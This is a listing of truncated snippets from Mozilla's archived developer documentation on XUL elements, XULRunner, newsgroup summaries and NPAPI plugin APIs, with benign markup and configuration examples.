« previousnext » next, we'll find out how to add custom methods to xbl-defined elements. methods in addition to adding script properties to the xbl-defined element, you can also add methods. these methods can be called from a script. methods are the functions of objects, such as window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open(). you can define custom methods for your elements using the method element. the general syntax of methods is as follows: <implementation> <method name="method-name"> <parameter name="parameter-name1"/> <parameter name="parameter-na...
Adding more elements - Archive of obsolete content
label="is not"/> </menupopup> </menulist> <spacer style="width: 10px;"/> <textbox id="find-text" flex="1" style="min-width: 15em;"/> </hbox> two drop down boxes have been added to the dialog. a spacer has been added in between each element to separate them. these spacers have been given an explicit width of 10 pixels each. you will notice that if the window is resized, the textbox grows but the other components do not. you will also notice that the label was removed. if you resize the window vertically, the elements do not change size. this is because they are inside horizontal boxes. in might be more appropriate if the find and cancel buttons always stayed along the bottom of the window. this is easy to do by adding a spacer in between the two horizontal boxes. <spacer style="h...
Advanced Rules - Archive of obsolete content
"/> <triple subject="?city" predicate="http://www.xulplanet.com/rdf/weather#name" object="?name"/> <triple subject="?city" predicate="http://www.xulplanet.com/rdf/weather#prediction" object="?pred"/> </conditions> generating content the content to generate for a rule is specified inside the action element. this should be the content for the rows of the tree, menu items, or whatever content you want to generate. within the content, you can refer to variables that were defined in the conditions. thus, in the weather example above, you could use the variables 'name' or 'pred' to display the city or prediction. you can use the 'list' or 'city' variables also, but they hold resources, not text, so they won't likely have meaningful values to u...
Anonymous Content - Archive of obsolete content
ents and aren't valid in xbl. this namespace was declared on the bindings tag. if you don't use the namespace on xul elements, mozilla will assume that the elements are xbl, not understand them, and your elements won't work correctly. filename input field example another example, this time for a field for entering a filename: <binding id="fileentry"> <content> <textbox/> <button label="browse..."/> </content> </binding> attaching this binding to an element will cause it to contain a field for entering text, followed by a browse button. this inner content is created anonymously and cannot be seen using the dom. override the bound element the anonymous content is created automatically whenever a binding is attached to an element. if you place child elements inside the xul, they will...
Broadcasters and Observers - Archive of obsolete content
ve the same label 'open'. if you were to modify the command's label attribute, the label on the button and checkbox will adjust accordingly. we saw something like this in a previous section where the disabled attribute was adjusted once and propagated to other elements. this attribute forwarding is quite useful for a number of purposes. for instance, let's say that we want the back action in a browser to be disabled. we would need to disable the back command on the menu, the back button on the toolbar, the keyboard shortcut (alt+left for example) and any back commands on popup menus. although we could write a script to do this, it is quite tedious. it also has the disadvantage that we would need to know all of the places where a back action could be. if someone added a new back button using ...
Creating Dialogs - Archive of obsolete content
new window. you can pass values back from the opened window to the original window in one of two ways. first, you could use the window.opener property which holds the window that opened the dialog. second, you could pass a function or object as one of the arguments when creating the dialog, then call that function or modify the object in the opened dialog. note: opendialog() requires universalbrowserwrite privilege. this means it will not work on remote sites; for those, use window.open() instead. the dialog element the dialog element should be used in place of the window element when creating a dialog. it provides the useful ability to construct up to four buttons along the bottom of the dialog forok,cancel, and so on. you do not need to include the xul for each button; however, you do ...
Document Object Model - Archive of obsolete content
because mozilla provides these objects for use. in javascript, there is always a single global object that is always available. you can refer to the properties and methods of the global object without having to qualify them with an object. for example, if the global object has a 'name' property, you can change the name with the code 'name = 7', without having to specify any object to use. in a browser context, the window is the global object, and the same is also true for xul. naturally, this global object will be different for each window. each frame will also have a separate window object. the window is often referred to using the window property, although this is optional. sometimes, this is done just to clarify the scope of the method you are referring to. for example, the following two...
Focus and Selection - Archive of obsolete content
whenever the element has the focus. you can check for the presence of this attribute to determine if the element has the focus, either from a script or within a style sheet. it will have the value true if the textbox has the focus and, if the textbox does not have the focus, the attribute will not be present. suppose you wanted to move the focus from where it currently is, to the next place the browser thinks it should be. a user typically does this by hitting the "tab" key. you can do this anywhere you have a xul browser document by simply: document.commanddispatcher.advancefocus(); in fact, the commanddispatcher simply implements the nsidomxulcommanddispatcher interface. this interface also provides a number of other methods which may be useful. platform specific behaviors ma...
Input Controls - Archive of obsolete content
="8"/> multiline textbox the textbox examples above will create text inputs that can only be used for entering one line of text. html also has a textarea element for creating a larger text entry area. in xul, you can use the textbox element for this purpose as well -- two separate elements are not necessary. if you set the multiline attribute to true, the text entry field will display multiple rows. example 2 : source view <textbox multiline="true" value="this is some text that could wrap onto multiple lines."/> like the html textarea, you can use the rows and cols attributes to set the size. this should be set to the number of rows and columns of characters to display. our find files example let's add a search entry field to the find file dialog. we'll use the textbox eleme...
Introduction to RDF - Archive of obsolete content
f data from it. this is how mozilla works when it reads data such as bookmarks, the history or mail messages. mozilla provides datasources for this common data so that you can easily use them. you can use any of the provided rdf datasources to populate trees with data or you can point to an rdf file stored in xml which contains the data. this makes it very convenient to display trees with lots of rows in them. rdf can also populate other xul elements as well such as listboxes and menus. we'll see this in the next section. a very brief overview of rdf will be provided here. for more information about rdf, see the rdf specification. rdf/xml rdf consists of a model, which is a graph representation of data. rdf/xml is an xml language which can be used to represent rdf data. it contains a fairly s...
Modifying the Default Skin - Archive of obsolete content
s, whereas 'userchrome.css' customizes chrome files. for example, by adding the following to the end of the file, you can change all menubar elements to have a red background. menubar { background-color: red; } if you open any firefox window after making this change, the menu bars will be red. because this change was made to the user style sheet, it affects all windows. this means that the browser menu bar, the bookmarks menu bar and even the find files menu bar will be red. skin packages to have the change affect only one window, change the style sheet associated with that xul file. for example, to add a red border around the menu commands in the bookmarks manager window, add the following to bookmarksmanager.css in the classic.jar or your favorite skin archive. menuitem { border: ...
More Event Handlers - Archive of obsolete content
script at the top level outside of a function. this is because the xul elements may not have loaded or fully initialized yet, so some things may not work as expected. to use a load event, place an onload attribute on the window tag. call code within the load handler which will initialize the interface as necessary. there is also an unload event which is called once the window has closed, or in a browser context, when the page is switched to another url. you can use this event to save any changed information, for example. next, we'll find out how to add keyboard shortcuts. « previousnext » ...
Numeric Controls - Archive of obsolete content
ndicate a minimum possible value of 1 and the max attribute is set to 20 to indiciate a maximum possible value of 20. if the minimum value is not specified, it has a default value of 0. the maximum value defaults to the special value infinity which means that there is no limit. other numeric textbox attributes the increment attribute may be used to specify by how much the value changes when the arrows are pressed. the default value is 1, but specifying a different value allows the number to change by a larger amount. for instance, the following example steps in multiples of 10. <textbox type="number" increment="10" max="100"/> this textbox steps in multiples of 10 from 0 to 100. since the min attribute was not specified, it defaults to 0. note that the user can still enter other values if the...
Splitters - Archive of obsolete content
you can also hide the sidebar by clicking the notch. splitter element this feature is accomplished using an element called a splitter. ...
Toolbars - Archive of obsolete content
« previousnext » a toolbar is usually placed along the top of a window and contains a number of buttons that perform common functions. xul has a method to create toolbars. adding a toolbar like a number of elements, xul toolbars are a type of box. usually, a row of buttons would appear in the toolbar, but any element can be placed in a toolbar. for example, the mozilla browser window contains a textbox that displays the page url. toolbars may be placed on any side of the window, either horizontally or vertically. of course you wouldn't normally put a textbox in a vertical toolbar. actually, because toolbars are just boxes they can actually go anywhere you want, even in the middle of a window. typically however, a set of toolbars would appear along the top of a window. when mor...
Updating Commands - Archive of obsolete content
aters have a number of events which they can respond to which are listed below. it is also possible to create your own. focus: occurs when the focused element changes. select: occurs when the selected text changes. undo: occurs when the undo buffer changes. clipboard: occurs when the contents of the clipboard changes. the following example shows the command updaters used in the mozilla browser to update the edit menu commands. the functions used can be found in the 'chrome://communicator/content/utilityoverlay.js' script. <commandset id="globaleditmenuitems" commandupdater="true" events="focus" oncommandupdate="goupdateglobaleditmenuitems()"/> <commandset id="selecteditmenuitems" commandupdater="true" events="select" ...
XPCOM Interfaces - Archive of obsolete content
n other objects. instead of calling createinstance(), you call getservice() to get a reference to the service component. other than that, services are not very different from other components. one such service provided with mozilla is a bookmarks service. it allows you to add bookmarks to the user's current bookmark list. an example is shown below: var bmarks = components.classes["@mozilla.org/browser/bookmarks-service;1"].getservice(); bmarks.queryinterface(components.interfaces.nsibookmarksservice); bmarks.addbookmarkimmediately("http://www.mozilla.org","mozilla",0,null); first, the component "@mozilla.org/browser/bookmarks-service;1" is retrieved and its service is placed in the variable bmarks. we use queryinterface() to get the nsibookmarksservice interface. the function addbookmarkim...
Window icons - Archive of obsolete content
ing with firefox 1.5, thunderbird 1.5, and xulrunner 1.8, you can specify an icon for a xul window by putting files named mywindow.ico (for windows) and mywindow.xpm or mywindow16.xpm (linux), where mywindow is the id of the <window> you want to attach the icon to, in the chrome/icons/default subfolder of your bundle. these icons will override the global icon files, which are located in app_dir/browser/chrome/icons/default. note: the global icons override does not currently work due to bug bug 543490. global icon files currently take precedence and bundles are only searched for icons which are not provided by the application. starting with firefox 3.0, xulrunner 3.0, thunderbird 3.0 and seamonkey 2.0 you can now specify png format icons instead of xpm format on linux. you can specify up t...
XUL Changes for Firefox 1.5 - Archive of obsolete content
creating items this way. <listbox> the removeitemat method was sometime non zero-based due to a bug (bug 236068). this has been fixed in firefox 1.5 and all code depending on this non zero-based behaviour should be changed. <stringbundle> the <stringbundle> element has a strings property which may be used to retrieve an enumeration of all of the strings in the bundle. draggable tabs the tabbrowser now allows the user to rearrange tabs by dragging them. <tabbox> the <tabbox> element now supports a selectedindex attribute to specify the tab to be selected by default. loading overlays dynamically xul now supports loading overlays dynamically with the document.loadoverlay function. original document information author(s): neil deakin ...
XUL element attributes - Archive of obsolete content
two flags are defined, which may be the value of this attribute. dont-test-empty: for template generated content, the builder will not check that a container is empty. dont-build-content: this flag may be used on a tree to indicate that content elements should not be generated. this results in a performance enhancement, but you will not be able to use the dom functions to retrieve the tree rows. flex type: string (representing an integer) indicates the flexibility of the element, which indicates how an element's container distributes remaining empty space among its children. flexible elements grow and shrink to fit their given space. elements with larger flex values will be made larger than elements with lower flex values, at the ratio determined by the two elements. the ac...
XUL accessibility guidelines - Archive of obsolete content
events such as onmouseover, onmousemove, and ondrag can only be activated with the use of the mouse. provide keyboard-accessible alternative access points for this functionality. consider using context menu items or other xul elements along with keyboard shortcuts. scrolling ensure that scrolling is keyboard accessible. many xul elements can be set to scroll using css. other elements, such as arrowscrollbox and listbox, are made to scroll automatically. as a general rule, elements set to scroll are inaccessible if the user cannot scroll to all the content using the keyboard. the arrowscrollbox, for example, is a non-focusable element and cannot be scrolled using a keyboard. a listbox, however, can receive focus so its contents can scroll. almost any xul element can be set to scroll by settin...
XUL accessibility tool - Archive of obsolete content
nandy) highlight or blink source element in original xul app upon click of referencing line in report. (aaronlev) compatibility with more xul applications. (aaronandy) maybe an online tool to automatically generate a xul a11y tool compatible with a user-specified xul app. (aaronandy) link report sections to relevant part of xul a11y guidelines. (aaronandy) enable tabs, context menu, and other browser extras in report window. (aaronandy) xul runner version that can run from the command line, check a text file, and output the results somewhere. known bugs: test for lowercase i or l as accesskey (sometimes?) flags upppercase i and l too. possible false positives in some of the other tests processing is slower than we would like. ideas for further work on xul a11y some general ideas ...
XML - Archive of obsolete content
on the geneology of markup languages) -- has been created for the purposes of representing hypertext documents and the basic relationships between them. humans read raw html often when they edit html documents, though this is changing as regular html editors are replaced by wysiwyg html editors, and so do html parsers, which use the markup to format the document in its presentational form in web browsers. like html and memoml, xul is an xml-based language. where in html the elements are used to describe the look of text, in xul the elements are used to define the elements of an interface and some rules for putting them together. collectively, the xul elements provide all of the pieces you need to build rich interfaces. they are a toolkit whose tools are as simple as html tags but as powerful ...
XUL controls - Archive of obsolete content
label="light" value="light"/> <radio label="heavy" value="heavy"/> <radio label="heay" value="hea"/> </radiogroup> more information about the radio element. radio reference related elements: radiogroup <richlistbox> the richlistbox displays a list of items where one or more may selected. unlike the listbox which is designed to display fixed size rows, the richlistbox may display any type of content. <richlistbox> <richlistitem> <image src="happy.png"/> </richlistitem> <richlistitem> <image src="sad.png"/> </richlistitem> <richlistitem> <image src="angry.png"/> </richlistitem> </richlistbox> richlistbox reference related elements: richlistitem <scale> a scale displays a...
columns - Archive of obsolete content
...
panel - Archive of obsolete content
Archive › Mozilla › XUL › panel
lly, it will be attached to a button using the button's type attribute so that when the button is pressed, the panel will be displayed. a panel may also be opened via a script using the openpopup method. the panel is closed when the user clicks outside the panel, presses escape or when the panel's hidepopup method is called. warning: for firefox versions between 3.6 and 4.0, placing an iframe, browser or editor inside a panel is not supported. some features may work, but only on some platforms. for those versions of firefox, it is best to avoid child frames in a panel, if possible. this limitation was resolved as of firefox 4.0. attributes backdrag, close, consumeoutsideclicks, fade, flip, ignorekeys, label, left, level, noautofocus, noautohide, norestorefocus, onpopuphidden, onpopuphid...
resizer - Archive of obsolete content
eny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="background-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="content-primary"/> <resizer dir="bottom" height="2" style="background-color: grey; cursor: s-resize;"/> </vbox> <vbox width="2" style="background-color: grey; overflow: hidden;"> <resizer dir="topright" height="2" style="cursor: ne-resize;"/> <resizer dir="right" flex="1" style="cursor: e-resize;"/> <resizer dir="bottomright" height="2" style="cursor:...
scale - Archive of obsolete content
Archive › Mozilla › XUL › scale
to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged). the default value is 1. min type: integer the minimum value the control's value may take. the default value is 0. type: integer the maximum value that the scale or number box may be set to. the default value is 100 for scales and infinity for number boxes. movetoclick type: boolean if true, clicking the ...
spinbuttons - Archive of obsolete content
spin buttons are not used as separate elements, but are used in combination with other elements to create a control that can be increased and decreased. for instance, spinbuttons are used for the number type textbox, and with the timepicker and datepicker. ...
tab - Archive of obsolete content
Archive › Mozilla › XUL › tab
b is restored, this attribute is removed. you can determine if a tab is being restored by checking to see if hasattribute("pending") is true. if the user has turned on the "don't load tabs until selected" preference, the pending attribute is set on tabs until they get loaded. pinned type: boolean this attribute is set to true if the tab has been pinned (that is, if it's an app tab). the tabbrowser element's pintab and unpintab methods handle pinning and unpinning tabs. selected type: boolean this attribute is set to true if the tab is selected by default. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. u...
tabs - Archive of obsolete content
Archive › Mozilla › XUL › tabs
dex, selecteditem, tabindex, value, methods advanceselectedtab, appenditem, getindexofitem, getitematindex, insertitemat, removeitemat examples (example needed) attributes closebutton obsolete since gecko 1.9.2 type: boolean if this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends. this feature is used by the tabbrowser to provide the facilities for adding and closing tabs. you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively. disableclose type: boolean if this attribute is true the close button will be disabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is se...
timepicker - Archive of obsolete content
t may need to update additional state. hideseconds type: boolean indicates whether to show the seconds field. readonly type: boolean if set to true, then the user cannot change the value of the element. however, the value may still be modified by a script. increment type: integer indicates the number of minutes to skip each time the arrows are pressed. this should be used in combination with setting hideseconds to true. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. value type: string the initial value of the timepicker in either the form ...
toolbar - Archive of obsolete content
e not children of a toolbox element. you can associate an external toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar. the chromeclass-toolbar class may be used to create a toolbar where its visibility depends on the toolbar flag when opening the window with the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() method. more information is available in the xul tutorial. note: starting in gecko 1.9.1, toolbar items are moved from the toolbarpalette and added to the toolbar when a toolbar is first displayed. in...
toolbox - Archive of obsolete content
examples | attributes | properties | methods | related ] a container for toolbars. it is a type of box but defaults to vertical orientation. if a toolbar is placed inside a toolbox, a grippy is displayed on its left or upper edge. the user may click the grippy to collapse the toolbar. if multiple toolbars are placed in the same toolbox, they will all collapse into the same row. the firefox browser does not have grippies so toolbars cannot be collapsed and expanded. note: gecko 2.0 adds support for external toolbars. these are toolbars that are not children of a toolbox. you can associate an external toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar. the external toolbars associated with a toolbox are listed in the array of...
tooltip - Archive of obsolete content
ts to display it. returning false from this event handler prevents the popup from appearing. onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened. page type: boolean setting the page attribute to true will result in the tooltip being filled automatically as appropriate for a browser content area tooltip, i.e. the tooltip text is set according to the dom element in the browser that the user hovered over. example <tooltip id="pagetooltip" page="true"/> <browser tooltip="pagetooltip"/> position type: string the position attribute determines where the popup appears relative to the element the user clicked to invoke the popup. this allows you to place the popup ...
treechildren - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is the body of the tree. for content trees, the content will be placed inside this element. this element is also used to define container rows in the tree. more information is available in the xul tutorial. attributes alternatingbackground attributes alternatingbackground obsolete since gecko 2.0 type: boolean if true, the background of the tree's rows will alternate between two colors. you can use the :-moz-tree-row css style to do this instead. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags,...
treecol - Archive of obsolete content
label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. primary type: boolean if set to true, the treecol will have indentation and twisties drawn to the left of it to indicate the hierarchy level of the rows. if no column has the primary attribute set to true, the tree may still contain nested rows, although no indication will be given to the user. the attribute also controls whether the column picker allows the user to deselect this column. sort type: uri or xml attribute set this to a rdf property or xml attribute to have the data in the column sorted based on that property. the property w...
treerow - Archive of obsolete content
more information is available in the xul tutorial. ...
Application Update - Archive of obsolete content
or any event. pref("app.update.silent", false); // update service url: // you do not need to use all the %var% parameters. use what you need, %product%,%version%,%build_id%,%channel% for example pref("app.update.url", "https://yourserver.net/update/3/%product%/%version%/%build_id%/%build_target%/%locale%/%channel%/%os_version%/%distribution%/%distribution_version%/update.xml"); // url user can browse to manually if for some reason all update installation // attempts fail. pref("app.update.url.manual", "http://yourserver.net/yourpage"); // a default value for the "more information about this update" link // supplied in the "an update is available" page of the update wizard. pref("app.update.url.details", "http://yourserver.net/yourpage"); // user-settable override to app.update.url for test...
Building XULRunner with Python - Archive of obsolete content
llowed by a build, use cd /c/projects/mozilla make -f client.mk which will also checkout client.mk itself for build only, without checkouts, use make -f client.mk build and see client.mk for other options. the built xulrunner can then be found asc:\projects\obj-xulrunner\dist\bin\xulrunner.exe. using python in xul applications add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <script> tags specify that python is used withtype="application/x-python" attribute. dom scripting is pretty much as with java script. for example def onload(): btn...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
ectly under the mozilla root on your disk. and what's more, you can skip the following section, partially compensating you for all that extra work you put in just now. see, it all balances out in the end! building with a prebuilt sdk once you've downloaded the xulrunner sdk, you'll need a .mozconfig of your own. here's an example for mccoy: # options for client.mk. mk_add_options moz_co_projects=browser mk_add_options moz_objdir=@topsrcdir@/../mccoybase # options for 'configure' (same as command-line options). ac_add_options --with-libxul-sdk=/path/to/xulrunner-sdk ac_add_options --enable-application=mccoy you still need to get the mozilla source code and put your project in a subdirectory underneath the mozilla root. of course, you only really need the mozilla build system since all the oth...
XULRunner FAQ - Archive of obsolete content
is xulrunner a development tool? not particularly; xulrunner is a internet technology runtime. xulrunner can be used to make development tools (the ajax toolkit framework, for example). in the future there will be a xulrunner developer kit which will contain various development tools. ...
xulauncher - Archive of obsolete content
on=1.9 ">$xulappini # create chrome.manifest file ############################################################################## echo " content $xulname file:$xulname/ ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it ############################################################################## cp $xulfile $xuldir xulrunner ...
mozilla.dev.platform FAQ - Archive of obsolete content
it works fine when the xul.framework is installed in /library/frameworks. any suggestions? " a: make sure the app can find the framework or you can use the packages of the firefox release repackager which uses the embedded framework successfully. please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented this from working properly). q: when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box, what needs to be implement? a: have the browser.chromeurl preference - this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded. visual studio express 2005 q: when i try to run xulrunner-stub.exe i get the error "this application failed t...
Mozilla release FAQ - Archive of obsolete content
this will serve as a way for an end-user to determine if they have mozilla or communicator. the icon that's distributed in the source will be used in mozilla.org distributions of mozilla. the first 3 tarballs had a simple sample logo, whereas the current source ...
2006-10-13 - Archive of obsolete content
olour of a selected tab and an unselected tab. it's suggested that its a os problem in the desktop theme, as opposed to problem with firefox. nsapprunner.o compile error: some_const not declared in scope compile error while compiling first build. user was conservative on what libraries they used, but now they have a compile error and can't make sense of it. no responses as of yet. firefox browser problem: width:30ex does not respect font discussion about a font rendering problem with firefox print on the firefox context menu user would like discussion about why the bug https://bugzilla.mozilla.org/show_bug.cgi?id=204519 is a wontfix. (user feels print belongs on the context menu along with back, reload, etc.) questions about programming for firefox a student questions how to cr...
2006-10-20 - Archive of obsolete content
les automatically. method shouldload in "content-policy" category problem ? a student learning xpcom is having issues with the method shouldload in the interface nslcontentpolicy. when the method is executed firefox crashes. as of yet there are no responses. ie7 rss reader better - say reviewers a discussion revolving around the quality of rss readers in ie7, firefox and other assorted browsers. also a debate about which browser is "beating" which to a lesser extent further in the discussion. how to create firefox extension (chrome) to add images next to urls ? question regarding how to make a firefox extension that would insert an image next to all links in the loaded web pages similar to the mcafee siteadvisor extension. adding support for new uri scheme question regardin...
2006-11-03 - Archive of obsolete content
40127-3. fix host_libidl_libs originally posted on october 29th: gery gery claims to have discovered a problem when he compiles mozilla across different platforms when pkg_config is used. on november 1st peter weilbacher responded gery's question. he told gery to create a bug for this problem in bugzilla. on november 2nd gery replied with the bug number 358706. problems building browser's trunk on windows using vs 2005 originally posted on october 29th: ricardo sixel is trying to retrieve the trunk source code using the browser check out option. however it fails on him. he has created the following bug entry https://bugzilla.mozilla.org/show_bug.cgi?id=331404. announcements a change in tp2's numbers on october 31st adam guthrie announced that: rob helmer will be adding ...
2006-10-20 - Archive of obsolete content
ts no announcements this week. traffic october 14, 2006, 6:53pm - ed notes that, on windows, composer 0.1's reccomended install directory needs to be different than those noted in the release notes. this is a xulrunner 1.8.0.4 application. benjamin smedberg would like to know what paths were used. started wed, oct 18 2006 9:38 am - a xulrunner developer, frank, discusses his desire to make xul/browser based applications. he wants to be able to build applications that will run inside the browser. nickolay ponomarev, benjamin smedberg, axel hecht clarify some misconceptions about front-end and back-end programming with xulrunner, including the difficulty of writing the backends in c++ (since that would require a recompilation on every platform frank wanted to support). meetings no meetings th...
2006-11-03 - Archive of obsolete content
and mozilla cto brendan eich this tuesday, november 7th at 10am pst (utc-8) traffic xepra wants to know how to open multiple tabs in a new window. alex vinten and neil help him out by figuring out exactly which environment he's running in. john gaunt discusses a proposed xulrunner unit-tests like xpcshell. robert sayre notes that he and dave liebreich have a nice, simple environment set up for browser-based js tests meetings no meetings this week ...
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.platform - november 11th - november 17th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement. alex vincent ran into some difficulty with xulrunner extension manager not recognizing xulwidgets for verbosio? however he found out that it was a result of his flat-chrome version of xul widgets and works fine with the jarred-chrome version. boaz discuses the evolution of web browsers towards a more "application mode" whereas a web browser is loaded for the sole purpose of running a given website. boaz invites your comments xulrunner 1.8.0.4 is running...
2006-10-06 - Archive of obsolete content
eas specific to vista are welcomed. check posting for details. firefox 2 rc2 testing - tim riley announced the l10n builds were completed last night. to help out with testing meet in irc chat room #qa. test results will be posted here. discussions none for this week meetings community test day - on friday october 6th, 2006 in irc chat room #testday there will be a test day focusing on safe browsing between 7am to 5pm pdt. bug day - in irc chat room #bugday on oct 3rd. reminder from tracy. check posting for times in your region. authors mark d'souza (mdsouza) mohamed attar (mojo) ...
2006-11-10 - Archive of obsolete content
using window.innerheight and window.scrollmaxy should resolve this issue. block images discussion on how where to change source code so that images could be blocked in mozilla. this can be defined within the nsicontentpolicy. ...
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 13-20, 2006 announcements none during this week. discussions wxmozilla and ff1.5 xpcom problems updating wxmozilla to use it with firefox 1.5.7 browser elements, opening links in a new window using javascript to open window in new window. general xpcom and nscomptr questions nscomptr basics regarding myicomponent usage. fedora security blocking xpcom registration fedora core 5.0 security settings impeding xpcom registration. meetings none during this week. ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 25- dec 01, 2006 announcements none during this week. discussions nsicontentpolicy and user interaction the proper way to get user confirmation before trying to load certain file types. debugging firefox extesnion? a tip on how to debug firefox extensions using a debugger. segmentation fault while running the browser browser crashes after installation of subjects extension. meetings none during this week. ...
NPAPI plugin developer guide - Archive of obsolete content
ilable on most mobile devices. mozilla encourages website developers to avoid using plugins wherever possible. if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the npapi plugin api reference. to make your plugin scriptable from web pages, use npruntime. plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of ...
Logging Multi-Process Plugins - Archive of obsolete content
this is done using nspr logging. run firefox in a custom environment to enable this special logging mode. make sure you have write permissions to wherever you wish to save the log. your safest bet is your home directory (c:\users\username on windows vista and above, c:\documents and settings\username on windows xp, and ~ (home directory) on mac os x and linux). windows make sure firefox is not running. ...
Monitoring plugins - Archive of obsolete content
also note that in the example above an if statement first checks to see that the arriving notification's topic is the correct one. this is useful in cases where your class is registered to receive notifications for more than one topic with the observer service. clean up to unregister your class with the observer service - when you...
NPAnyCallbackStruct - Archive of obsolete content
allbackstruct structure contains information required by the platformprint field of the npembedprint structure during embedded mode printing. during printing in embedded mode, the platformprint field of the npembedprint structure points to an npanycallbackstruct. this structure contains the file pointer to which the plug-in should write its postscript data. at the time the plug-in is called, the browser has already opened the file and written postscript for other parts of the page. when the plug-in is done, it should leave the file open, as the browser can continue to write additional postscript data to the file. see also npp_print() npembedprint npsetwindowcallbackstruct npprintcallbackstruct ...
NPByteRange - Archive of obsolete content
see also npn_requestread() ...
NPClass - Archive of obsolete content
warning: don't call these routines directly. you should instead use the appropriate api functions. fields structversion the version number of the structure. this is set to np_class_struct_version, which is 1 in mozilla 1.8.*, 2 since mozilla 1.9a1, and 3 since firefox 3.0b1. allocate returns a pointer to a newly allocated npobject. called by npn_createobject() if non-null, otherwise the browser calls malloc(). this function is expected to allocate and return enough storage to hold the npobject that is being created. deallocate called by npn_releaseobject() when an object's reference count reaches zero. if this field is null, free() is called isntead. invalidate called on live objects that belong to a plugin instance that is being destroyed. this call is always followed by a call t...
NPEmbedPrint - Archive of obsolete content
platformprint; /* platform-specific */ } npembedprint; fields the data structure has the following fields: window the npwindow the plug-in should use for printing. platformprint additional platform-specific printing information. mac os: thprint unix: pointer to a npprintcallbackstruct. description the npp_print function passes a pointer to an npprint object (previously allocated by the browser) to the plug-in. the npembedprint structure is used when the mode field of npprint is set to np_embed. unix the plug-in location and size in the npwindow are in page coordinates (720/ inch), but the printer requires point coordinates (72/inch). see also npfullprint, np_port, npp_print, npprint, npprintcallbackstruct ...
NPIdentifier - Archive of obsolete content
syntax typedef void *npidentifier; ...
NPNVariable - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api see npn_getvalue. note: npnvariable != nppvariable ...
NPN_ForceRedraw - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary asks the plugin host to immediately (synchronously) repaint invalid areas. note: as of firefox 4, this function no longer has any effect when running with separate plugin processes. syntax #include <npapi.h> void npn_forceredraw(npp instance); parameters the function has the following parameters: instance plug-in instance for which the function forces redrawing. description once a region of a windowless plugin has been invalidated with npn_invalidaterect() or npn_invalidateregion(), a plug-in can call npn_forceredraw() to force a paint message. this causes a synchronous update event or paint message for the plug-in. browsers may ignore this request. see also drawing and event handling npn_invalidaterect() npn_invalidatereg...
NPN_PostURL - Archive of obsolete content
ral different ways by specifying different target parameters. if target is null, the server response is sent back to the plug-in. you can get the data and save it in a file or use it in a program. if you specify _current, _self, or _top, the response data is written to the same plug-in window and the plug-in is unloaded. if you specify _new or _blank, the response data is written to a new browser window. you can also write the response data to a frame by specifying the frame name as the target parameter. for http urls only, the browser resolves this method as the http server method post, which transmits data to the server. the data to post can be contained either in a local temporary file or a new memory buffer. to post to a temporary file, set the flag file to true, the buffer buf ...
NPN_ReloadPlugins - Archive of obsolete content
